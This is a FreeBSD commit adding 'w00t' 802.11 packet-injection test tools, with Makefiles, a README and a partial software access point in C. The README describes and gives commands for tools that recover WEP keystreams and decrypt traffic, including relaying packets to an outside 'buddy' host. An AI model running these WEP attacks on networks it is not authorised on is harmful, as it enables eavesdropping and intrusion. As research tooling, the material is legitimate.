test programs for 802.11 packet injection
Submitted by: Andrea Bittau <a.bittau@cs.ucl.ac.uk>
This commit is contained in:
parent
68f1c8859e
commit
9cfa19eab8
5
tools/tools/net80211/w00t/Makefile
Normal file
5
tools/tools/net80211/w00t/Makefile
Normal file
@ -0,0 +1,5 @@
|
||||
# $FreeBSD$
|
||||
|
||||
SUBDIR= libw00t ap assoc expand prga redir
|
||||
|
||||
.include <bsd.subdir.mk>
|
11
tools/tools/net80211/w00t/Makefile.inc
Normal file
11
tools/tools/net80211/w00t/Makefile.inc
Normal file
@ -0,0 +1,11 @@
|
||||
# $FreeBSD$
|
||||
|
||||
W00T= ../libw00t
|
||||
# NB: we get crc32 from -lz
|
||||
DPADD= ${W00T}/libw00t.a ${LIBCRYPTO} ${LIBZ}
|
||||
LDADD= -L${W00T} -lw00t -lcrypto -lz
|
||||
|
||||
BINDIR= /usr/local/bin
|
||||
CFLAGS= -g -I${W00T}
|
||||
|
||||
NO_MAN=
|
78
tools/tools/net80211/w00t/README
Normal file
78
tools/tools/net80211/w00t/README
Normal file
@ -0,0 +1,78 @@
|
||||
$FreeBSD$
|
||||
|
||||
This is a collection of tools that use raw 802.11 packet injection.
|
||||
None of the tools configure the interface, so be sure to run something
|
||||
like:
|
||||
|
||||
ifconfig ath0 channel 7 mediaopt monitor promisc up
|
||||
|
||||
beforehand. The following tools are found here:
|
||||
|
||||
assoc A wifi client.
|
||||
ap A wifi access point.
|
||||
|
||||
prga Gives ability to transmit on a WEP network.
|
||||
redir Gives ability to decrypt in real-time on a WEP network, via Internet.
|
||||
expand Gives ability to decrypt locally on a WEP network.
|
||||
|
||||
All these tools depend on:
|
||||
|
||||
libw00t Utility functions used by all tools.
|
||||
|
||||
Detailed explanation of tools.
|
||||
==============================
|
||||
|
||||
assoc:
|
||||
|
||||
Acts as a wifi client. It will associate to a network and bind a
|
||||
tap interface to it. The interface may be used like a standard eth
|
||||
interface attached to a normal LAN. Multiple instances of the
|
||||
program may be run in order to connect to multiple APs simultaneously.
|
||||
Example:
|
||||
|
||||
./assoc -s w00t -t tap0
|
||||
ifconfig tap0 192.168.0.123 up
|
||||
ping 192.168.0.1
|
||||
|
||||
ap:
|
||||
|
||||
The same as assoc, but acts as an access point. Example:
|
||||
|
||||
./ap -s w00t -t tap1
|
||||
ifconfig tap1 192.168.0.1 up
|
||||
tcpdump -n -i tap1
|
||||
|
||||
[For the next set of tools, refer to http://tapir.cs.ucl.ac.uk/bittau-wep.pdf
|
||||
for theoretical information.]
|
||||
|
||||
prga:
|
||||
|
||||
Sniff a packet on a WEP network and obtain a keystream. It binds
|
||||
to a tap interface which may be used to TX packets on that network.
|
||||
Example:
|
||||
|
||||
./prga -b bssid_of_network -t tap0
|
||||
ifconfig tap0 192.168.0.123 up
|
||||
ping 192.168.0.1
|
||||
|
||||
redir:
|
||||
|
||||
Resend WEP packets to our buddy on the Internet. The buddy will
|
||||
receive the clear-text and send it back to us via a UDP socket.
|
||||
This data is then fed back into a tap interface. This way, data
|
||||
may be ultimately be read from the tab iface in clear-text. Example:
|
||||
|
||||
[Box on Internet]~# ./buddy
|
||||
./redir -d buddy_ip -b bssid -t tap0 -r wifi_rtr_mac -s wifi_src_ip -p 666
|
||||
ifconfig tap0 up
|
||||
tcpdump -n -i tap0
|
||||
|
||||
expand:
|
||||
|
||||
Sniff a WEP packet and do the linear keystream expansion trick to
|
||||
decrypt it. The clear-text packet is sent to a tap interface.
|
||||
Example:
|
||||
|
||||
./expand -b bssid -t tap0
|
||||
ifconfig tap0 up
|
||||
tcpdump -n -i tap0
|
7
tools/tools/net80211/w00t/ap/Makefile
Normal file
7
tools/tools/net80211/w00t/ap/Makefile
Normal file
@ -0,0 +1,7 @@
|
||||
# $FreeBSD$
|
||||
|
||||
.include <../Makefile.inc>
|
||||
|
||||
PROG= ap
|
||||
|
||||
.include <bsd.prog.mk>
|
916
tools/tools/net80211/w00t/ap/ap.c
Normal file
916
tools/tools/net80211/w00t/ap/ap.c
Normal file
@ -0,0 +1,916 @@
|
||||
/*-
|
||||
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
#include <sys/types.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/endian.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <err.h>
|
||||
#include <assert.h>
|
||||
#include "w00t.h"
|
||||
|
||||
struct client {
|
||||
char mac[6];
|
||||
int seq;
|
||||
|
||||
struct client *next;
|
||||
};
|
||||
|
||||
struct params {
|
||||
/* fds */
|
||||
int tx;
|
||||
int rx;
|
||||
int tap;
|
||||
|
||||
/* ap params */
|
||||
char mac[6];
|
||||
char ssid[256];
|
||||
int chan;
|
||||
|
||||
/* beacon */
|
||||
int bint;
|
||||
struct timeval blast;
|
||||
|
||||
int seq;
|
||||
|
||||
/* wep */
|
||||
int wep_len;
|
||||
char wep_key[13];
|
||||
int wep_iv;
|
||||
|
||||
struct client *clients;
|
||||
|
||||
/* lame window */
|
||||
char packet[4096];
|
||||
int packet_len;
|
||||
int packet_try;
|
||||
struct timeval plast;
|
||||
};
|
||||
|
||||
void usage(char *name)
|
||||
{
|
||||
printf("Usage: %s <opts>\n"
|
||||
"-h\thelp\n"
|
||||
"-i\t<iface>\n"
|
||||
"-s\t<ssid>\n"
|
||||
"-m\t<mac>\n"
|
||||
"-w\t<wep key>\n"
|
||||
"-c\t<chan>\n"
|
||||
"-t\t<tap>\n"
|
||||
, name);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void fill_basic(struct ieee80211_frame *wh, struct params *p)
|
||||
{
|
||||
short *seq;
|
||||
|
||||
wh->i_dur[0] = 0x69;
|
||||
wh->i_dur[1] = 0x00;
|
||||
|
||||
memcpy(wh->i_addr2, p->mac, 6);
|
||||
|
||||
seq = (short*)wh->i_seq;
|
||||
*seq = seqfn(p->seq, 0);
|
||||
}
|
||||
|
||||
void send_frame(struct params *p, void *buf, int len)
|
||||
{
|
||||
int rc;
|
||||
|
||||
rc = inject(p->tx, buf, len);
|
||||
if (rc == -1)
|
||||
err(1, "inject()");
|
||||
if (rc != len) {
|
||||
printf("injected %d/%d\n", rc, len);
|
||||
exit(1);
|
||||
}
|
||||
p->seq++;
|
||||
}
|
||||
|
||||
int fill_beacon(struct params *p, struct ieee80211_frame *wh)
|
||||
{
|
||||
int len;
|
||||
char *ptr;
|
||||
|
||||
ptr = (char*) (wh+1);
|
||||
ptr += 8; /* timestamp */
|
||||
ptr += 2; /* bint */
|
||||
*ptr |= IEEE80211_CAPINFO_ESS;
|
||||
ptr += 2; /* capa */
|
||||
|
||||
/* ssid */
|
||||
len = strlen(p->ssid);
|
||||
*ptr++ = 0;
|
||||
*ptr++ = len;
|
||||
memcpy(ptr, p->ssid, len);
|
||||
ptr += len;
|
||||
|
||||
/* rates */
|
||||
*ptr++ = 1;
|
||||
*ptr++ = 4;
|
||||
*ptr++ = 2 | 0x80;
|
||||
*ptr++ = 4 | 0x80;
|
||||
*ptr++ = 11;
|
||||
*ptr++ = 22;
|
||||
|
||||
/* ds param */
|
||||
*ptr++ = 3;
|
||||
*ptr++ = 1;
|
||||
*ptr++ = p->chan;
|
||||
|
||||
return ptr - ((char*) wh);
|
||||
}
|
||||
|
||||
void send_beacon(struct params *p)
|
||||
{
|
||||
char buf[4096];
|
||||
struct ieee80211_frame *wh;
|
||||
int len;
|
||||
char *ptr;
|
||||
|
||||
wh = (struct ieee80211_frame*) buf;
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
fill_basic(wh, p);
|
||||
memset(wh->i_addr1, 0xff, 6);
|
||||
memcpy(wh->i_addr3, p->mac, 6);
|
||||
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_BEACON;
|
||||
|
||||
len = fill_beacon(p, wh);
|
||||
|
||||
/* TIM */
|
||||
ptr = (char*)wh + len;
|
||||
*ptr++ = 5;
|
||||
*ptr++ = 4;
|
||||
len += 2+4;
|
||||
#if 0
|
||||
printf("sending beacon\n");
|
||||
#endif
|
||||
send_frame(p, wh, len);
|
||||
|
||||
if (gettimeofday(&p->blast, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
}
|
||||
|
||||
|
||||
void send_pres(struct params *p, char *mac)
|
||||
{
|
||||
char buf[4096];
|
||||
struct ieee80211_frame *wh;
|
||||
int len;
|
||||
|
||||
wh = (struct ieee80211_frame*) buf;
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
fill_basic(wh, p);
|
||||
memcpy(wh->i_addr1, mac, 6);
|
||||
memcpy(wh->i_addr3, p->mac, 6);
|
||||
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_PROBE_RESP;
|
||||
|
||||
len = fill_beacon(p, wh);
|
||||
|
||||
printf("sending probe response\n");
|
||||
send_frame(p, wh, len);
|
||||
}
|
||||
|
||||
void read_preq(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
unsigned char *ptr;
|
||||
unsigned char *end;
|
||||
unsigned char macs[6*3];
|
||||
|
||||
ptr = (unsigned char*) (wh+1);
|
||||
|
||||
/* ssid */
|
||||
if (*ptr != 0) {
|
||||
printf("weird pr %x\n", *ptr);
|
||||
return;
|
||||
}
|
||||
ptr++;
|
||||
|
||||
end = ptr + (*ptr) + 1;
|
||||
*end = 0;
|
||||
ptr++;
|
||||
|
||||
mac2str(macs, wh->i_addr2);
|
||||
printf("Probe request for [%s] from %s\n", ptr, macs);
|
||||
|
||||
if ((strcmp(ptr, "") == 0) || (strcmp(ptr, p->ssid) == 0))
|
||||
send_pres(p, wh->i_addr2);
|
||||
}
|
||||
|
||||
void send_auth(struct params* p, char *mac)
|
||||
{
|
||||
char buf[4096];
|
||||
struct ieee80211_frame *wh;
|
||||
unsigned short *ptr;
|
||||
int len;
|
||||
|
||||
wh = (struct ieee80211_frame*) buf;
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
fill_basic(wh, p);
|
||||
memcpy(wh->i_addr1, mac, 6);
|
||||
memcpy(wh->i_addr3, p->mac, 6);
|
||||
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_AUTH;
|
||||
|
||||
ptr = (unsigned short*) (wh+1);
|
||||
*ptr++ = htole16(0);
|
||||
*ptr++ = htole16(2);
|
||||
*ptr++ = htole16(0);
|
||||
|
||||
len = ((char*)ptr) - ((char*) wh);
|
||||
printf("sending auth\n");
|
||||
send_frame(p, wh, len);
|
||||
}
|
||||
|
||||
void read_auth(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
unsigned short *ptr;
|
||||
char mac[6*3];
|
||||
|
||||
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
|
||||
return;
|
||||
|
||||
ptr = (unsigned short*) (wh+1);
|
||||
if (le16toh(*ptr) != 0) {
|
||||
printf("Unknown auth algo %d\n", le16toh(*ptr));
|
||||
return;
|
||||
}
|
||||
ptr++;
|
||||
if (le16toh(*ptr) == 1) {
|
||||
mac2str(mac, wh->i_addr2);
|
||||
printf("Got auth from %s\n", mac);
|
||||
send_auth(p, wh->i_addr2);
|
||||
} else {
|
||||
printf("Weird seq in auth %d\n", le16toh(*ptr));
|
||||
}
|
||||
}
|
||||
|
||||
void send_assoc(struct params *p, char *mac)
|
||||
{
|
||||
char buf[4096];
|
||||
struct ieee80211_frame *wh;
|
||||
char *ptr;
|
||||
int len;
|
||||
|
||||
wh = (struct ieee80211_frame*) buf;
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
fill_basic(wh, p);
|
||||
memcpy(wh->i_addr1, mac, 6);
|
||||
memcpy(wh->i_addr3, p->mac, 6);
|
||||
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_ASSOC_RESP;
|
||||
|
||||
ptr = (char*) (wh+1);
|
||||
*ptr |= IEEE80211_CAPINFO_ESS;
|
||||
ptr += 2; /* cap */
|
||||
ptr += 2; /* status */
|
||||
ptr += 2; /* aid */
|
||||
|
||||
/* rates */
|
||||
*ptr++ = 1;
|
||||
*ptr++ = 4;
|
||||
*ptr++ = 2 | 0x80;
|
||||
*ptr++ = 4 | 0x80;
|
||||
*ptr++ = 11;
|
||||
*ptr++ = 22;
|
||||
|
||||
len = ptr - ((char*) wh);
|
||||
printf("sending assoc response\n");
|
||||
send_frame(p, wh, len);
|
||||
}
|
||||
|
||||
void read_assoc(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
unsigned char *ptr;
|
||||
unsigned char *end;
|
||||
unsigned char macs[6*3];
|
||||
|
||||
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
|
||||
return;
|
||||
|
||||
ptr = (unsigned char*) (wh+1);
|
||||
ptr += 2; /* capa */
|
||||
ptr += 2; /* list interval */
|
||||
|
||||
/* ssid */
|
||||
if (*ptr != 0) {
|
||||
printf("weird pr %x\n", *ptr);
|
||||
return;
|
||||
}
|
||||
ptr++;
|
||||
|
||||
end = ptr + (*ptr) + 1;
|
||||
*end = 0;
|
||||
ptr++;
|
||||
|
||||
mac2str(macs, wh->i_addr2);
|
||||
printf("Assoc request for [%s] from %s\n", ptr, macs);
|
||||
|
||||
if (strcmp(ptr, p->ssid) == 0)
|
||||
send_assoc(p, wh->i_addr2);
|
||||
}
|
||||
|
||||
void read_mgt(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
|
||||
case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
|
||||
read_preq(p, wh, len);
|
||||
break;
|
||||
|
||||
case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
|
||||
break;
|
||||
|
||||
case IEEE80211_FC0_SUBTYPE_AUTH:
|
||||
read_auth(p, wh, len);
|
||||
break;
|
||||
|
||||
case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
|
||||
read_assoc(p, wh, len);
|
||||
break;
|
||||
|
||||
case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
|
||||
case IEEE80211_FC0_SUBTYPE_BEACON:
|
||||
break;
|
||||
|
||||
default:
|
||||
printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >>
|
||||
IEEE80211_FC0_SUBTYPE_SHIFT);
|
||||
abort();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void send_cts(struct params *p, char *mac)
|
||||
{
|
||||
char buf[64];
|
||||
struct ieee80211_frame *wh;
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
wh = (struct ieee80211_frame*) buf;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_CTS;
|
||||
wh->i_dur[0] = 0x69;
|
||||
wh->i_dur[0] = 0x00;
|
||||
memcpy(wh->i_addr1, mac, 6);
|
||||
|
||||
send_frame(p, wh, 10);
|
||||
}
|
||||
|
||||
void read_rts(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
|
||||
return;
|
||||
|
||||
send_cts(p, wh->i_addr2);
|
||||
}
|
||||
|
||||
void read_ack(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
if (memcmp(wh->i_addr1, p->mac, 6) == 0)
|
||||
p->packet_try = 0;
|
||||
}
|
||||
|
||||
void read_ctl(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
|
||||
case IEEE80211_FC0_SUBTYPE_RTS:
|
||||
read_rts(p, wh, len);
|
||||
break;
|
||||
|
||||
case IEEE80211_FC0_SUBTYPE_ACK:
|
||||
read_ack(p, wh, len);
|
||||
break;
|
||||
|
||||
case IEEE80211_FC0_SUBTYPE_CTS:
|
||||
break;
|
||||
|
||||
default:
|
||||
printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >>
|
||||
IEEE80211_FC0_SUBTYPE_SHIFT);
|
||||
abort();
|
||||
break;
|
||||
}
|
||||
#if 0
|
||||
printf("ctl\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
int broadcast(struct ieee80211_frame *wh)
|
||||
{
|
||||
/* XXX multicast */
|
||||
|
||||
if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void enque(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
if (broadcast(wh))
|
||||
return;
|
||||
|
||||
assert(sizeof(p->packet) >= len);
|
||||
|
||||
memcpy(p->packet, wh, len);
|
||||
p->packet_len = len;
|
||||
p->packet_try = 1;
|
||||
|
||||
wh = (struct ieee80211_frame*) p->packet;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_RETRY;
|
||||
|
||||
if (gettimeofday(&p->plast, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
}
|
||||
|
||||
void relay_data(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
char seq[2];
|
||||
char fc[2];
|
||||
unsigned short *ps;
|
||||
|
||||
/* copy crap */
|
||||
memcpy(fc, wh->i_fc, 2);
|
||||
memcpy(seq, wh->i_seq, 2);
|
||||
|
||||
/* relay frame */
|
||||
wh->i_fc[1] &= ~(IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_RETRY);
|
||||
wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS;
|
||||
memcpy(wh->i_addr1, wh->i_addr3, sizeof(wh->i_addr1));
|
||||
memcpy(wh->i_addr3, wh->i_addr2, sizeof(wh->i_addr3));
|
||||
memcpy(wh->i_addr2, p->mac, sizeof(wh->i_addr2));
|
||||
ps = (unsigned short*)wh->i_seq;
|
||||
*ps = seqfn(p->seq, 0);
|
||||
|
||||
send_frame(p, wh, len);
|
||||
enque(p, wh, len);
|
||||
|
||||
/* restore */
|
||||
memcpy(wh->i_fc, fc, sizeof(fc));
|
||||
memcpy(wh->i_addr2, wh->i_addr3, sizeof(wh->i_addr2));
|
||||
memcpy(wh->i_addr3, wh->i_addr1, sizeof(wh->i_addr2));
|
||||
memcpy(wh->i_addr1, p->mac, sizeof(wh->i_addr1));
|
||||
memcpy(wh->i_seq, seq, sizeof(seq));
|
||||
}
|
||||
|
||||
void read_real_data(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
char dst[6];
|
||||
int rc;
|
||||
char *ptr = (char*) (wh+1);
|
||||
|
||||
/* stuff not for this net */
|
||||
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
|
||||
return;
|
||||
|
||||
/* relay data */
|
||||
if (memcmp(wh->i_addr3, p->mac, 6) != 0)
|
||||
relay_data(p, wh, len);
|
||||
|
||||
memcpy(dst, wh->i_addr3, 6);
|
||||
|
||||
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_WEP) {
|
||||
if (!p->wep_len) {
|
||||
printf("Got wep but i aint wep\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (wep_decrypt(wh, len, p->wep_key, p->wep_len) == -1){
|
||||
printf("Can't decrypt\n");
|
||||
return;
|
||||
}
|
||||
|
||||
ptr += 4;
|
||||
len -= 8;
|
||||
}
|
||||
|
||||
/* ether header */
|
||||
ptr += 8 - 2;
|
||||
ptr -= 6;
|
||||
memcpy(ptr, wh->i_addr2, 6);
|
||||
ptr -= 6;
|
||||
memcpy(ptr, dst, 6);
|
||||
|
||||
len -= sizeof(*wh);
|
||||
len -= 8;
|
||||
len += 14;
|
||||
|
||||
/* send to tap */
|
||||
rc = write(p->tap, ptr, len);
|
||||
if (rc == -1)
|
||||
err(1, "write()");
|
||||
if (rc != len) {
|
||||
printf("Wrote %d/%d\n", rc, len);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
void read_data(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
|
||||
case IEEE80211_FC0_SUBTYPE_DATA:
|
||||
read_real_data(p, wh, len);
|
||||
break;
|
||||
|
||||
case IEEE80211_FC0_SUBTYPE_NODATA:
|
||||
break;
|
||||
|
||||
default:
|
||||
printf("wtf %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >>
|
||||
IEEE80211_FC0_SUBTYPE_SHIFT);
|
||||
abort();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
struct client* client_find(struct params *p, char *mac)
|
||||
{
|
||||
struct client* c = p->clients;
|
||||
|
||||
while (c) {
|
||||
if (memcmp(c->mac, mac, 6) == 0)
|
||||
return c;
|
||||
|
||||
c = c->next;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void client_insert(struct params *p, struct client *c)
|
||||
{
|
||||
#if 1
|
||||
do {
|
||||
char mac[6*3];
|
||||
|
||||
mac2str(mac, c->mac);
|
||||
printf("Adding client %s\n", mac);
|
||||
} while(0);
|
||||
#endif
|
||||
|
||||
c->next = p->clients;
|
||||
p->clients = c;
|
||||
}
|
||||
|
||||
int duplicate(struct params *p, struct ieee80211_frame *wh, int rc)
|
||||
{
|
||||
struct client *c;
|
||||
int s;
|
||||
|
||||
if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
|
||||
IEEE80211_FC0_SUBTYPE_DATA))
|
||||
return 0;
|
||||
|
||||
s = seqno(wh);
|
||||
|
||||
c = client_find(p, wh->i_addr2);
|
||||
if (!c) {
|
||||
c = malloc(sizeof(*c));
|
||||
if (!c)
|
||||
err(1, "malloc()");
|
||||
|
||||
memset(c, 0, sizeof(*c));
|
||||
memcpy(c->mac, wh->i_addr2, 6);
|
||||
|
||||
c->seq = s-1;
|
||||
client_insert(p, c);
|
||||
}
|
||||
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_RETRY) {
|
||||
if ( (s <= c->seq) && ((c->seq - s ) < 5)) {
|
||||
#if 0
|
||||
printf("Dup seq %d prev %d\n",
|
||||
s, c->seq);
|
||||
#endif
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
#if 0
|
||||
do {
|
||||
char mac[3*6];
|
||||
|
||||
mac2str(mac, c->mac);
|
||||
printf("%s seq %d prev %d\n", mac, s, c->seq);
|
||||
} while (0);
|
||||
#endif
|
||||
|
||||
c->seq = s;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void ack(struct params *p, struct ieee80211_frame *wh)
|
||||
{
|
||||
if (memcmp(wh->i_addr1, p->mac, 6) != 0)
|
||||
return;
|
||||
|
||||
if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
|
||||
return;
|
||||
|
||||
send_ack(p->tx, wh->i_addr2);
|
||||
}
|
||||
|
||||
void read_wifi(struct params *p)
|
||||
{
|
||||
char buf[4096];
|
||||
int rc;
|
||||
struct ieee80211_frame *wh;
|
||||
|
||||
rc = sniff(p->rx, buf, sizeof(buf));
|
||||
if (rc == -1)
|
||||
err(1, "sniff()");
|
||||
|
||||
wh = get_wifi(buf, &rc);
|
||||
if (!wh)
|
||||
return;
|
||||
|
||||
/* filter my own shit */
|
||||
if (memcmp(wh->i_addr2, p->mac, 6) == 0) {
|
||||
/* XXX CTL frames */
|
||||
if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) !=
|
||||
IEEE80211_FC0_TYPE_CTL)
|
||||
return;
|
||||
}
|
||||
|
||||
#if 1
|
||||
ack(p, wh);
|
||||
#endif
|
||||
|
||||
if (duplicate(p, wh, rc)) {
|
||||
#if 0
|
||||
printf("Dup\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
|
||||
switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) {
|
||||
case IEEE80211_FC0_TYPE_MGT:
|
||||
read_mgt(p, wh, rc);
|
||||
break;
|
||||
|
||||
case IEEE80211_FC0_TYPE_CTL:
|
||||
read_ctl(p, wh, rc);
|
||||
break;
|
||||
|
||||
case IEEE80211_FC0_TYPE_DATA:
|
||||
read_data(p, wh, rc);
|
||||
break;
|
||||
|
||||
default:
|
||||
printf("wtf\n");
|
||||
abort();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void read_tap(struct params *p)
|
||||
{
|
||||
char buf[4096];
|
||||
char *ptr;
|
||||
int len = sizeof(buf);
|
||||
int offset;
|
||||
char src[6], dst[6];
|
||||
struct ieee80211_frame *wh;
|
||||
int rd;
|
||||
|
||||
ptr = buf;
|
||||
offset = sizeof(struct ieee80211_frame) + 8 - 14;
|
||||
if (p->wep_len)
|
||||
offset += 4;
|
||||
|
||||
ptr += offset;
|
||||
len -= offset;
|
||||
|
||||
/* read packet */
|
||||
memset(buf, 0, sizeof(buf));
|
||||
rd = read(p->tap, ptr, len);
|
||||
if (rd == -1)
|
||||
err(1, "read()");
|
||||
|
||||
/* 802.11 header */
|
||||
wh = (struct ieee80211_frame*) buf;
|
||||
memcpy(dst, ptr, sizeof(dst));
|
||||
memcpy(src, ptr+6, sizeof(src));
|
||||
fill_basic(wh, p);
|
||||
memcpy(wh->i_addr3, src, sizeof(wh->i_addr3));
|
||||
memcpy(wh->i_addr1, dst, sizeof(wh->i_addr1));
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS;
|
||||
if (p->wep_len)
|
||||
wh->i_fc[1] |= IEEE80211_FC1_WEP;
|
||||
|
||||
/* LLC & SNAP */
|
||||
ptr = (char*) (wh+1);
|
||||
if (p->wep_len)
|
||||
ptr += 4;
|
||||
*ptr++ = 0xAA;
|
||||
*ptr++ = 0xAA;
|
||||
*ptr++ = 0x03;
|
||||
*ptr++ = 0x00;
|
||||
*ptr++ = 0x00;
|
||||
*ptr++ = 0x00;
|
||||
/* ether type overlaps w00t */
|
||||
|
||||
rd += offset;
|
||||
|
||||
/* WEP */
|
||||
if (p->wep_len) {
|
||||
ptr = (char*) (wh+1);
|
||||
memcpy(ptr, &p->wep_iv, 3);
|
||||
ptr[3] = 0;
|
||||
p->wep_iv++;
|
||||
|
||||
wep_encrypt(wh, rd, p->wep_key, p->wep_len);
|
||||
rd += 4; /* ICV */
|
||||
}
|
||||
|
||||
send_frame(p, wh, rd);
|
||||
}
|
||||
|
||||
int retransmit(struct params *p)
|
||||
{
|
||||
#if 0
|
||||
printf("RETRANS %d\n", p->packet_try);
|
||||
#endif
|
||||
|
||||
send_frame(p, p->packet, p->packet_len);
|
||||
p->packet_try++;
|
||||
|
||||
if (p->packet_try > 3)
|
||||
p->packet_try = 0;
|
||||
else {
|
||||
if (gettimeofday(&p->plast, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
}
|
||||
|
||||
return p->packet_try;
|
||||
}
|
||||
|
||||
void next_event(struct params *p)
|
||||
{
|
||||
struct timeval to, now;
|
||||
int el;
|
||||
int max;
|
||||
fd_set fds;
|
||||
int rtr = 3*1000;
|
||||
|
||||
/* figure out select timeout */
|
||||
if (gettimeofday(&now, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
|
||||
/* check beacon timeout */
|
||||
el = elapsed(&p->blast, &now);
|
||||
if (el >= p->bint) {
|
||||
send_beacon(p);
|
||||
el = 0;
|
||||
}
|
||||
el = p->bint - el;
|
||||
to.tv_sec = el/1000/1000;
|
||||
to.tv_usec = el - to.tv_sec*1000*1000;
|
||||
|
||||
/* check tx timeout */
|
||||
if (p->packet_try) {
|
||||
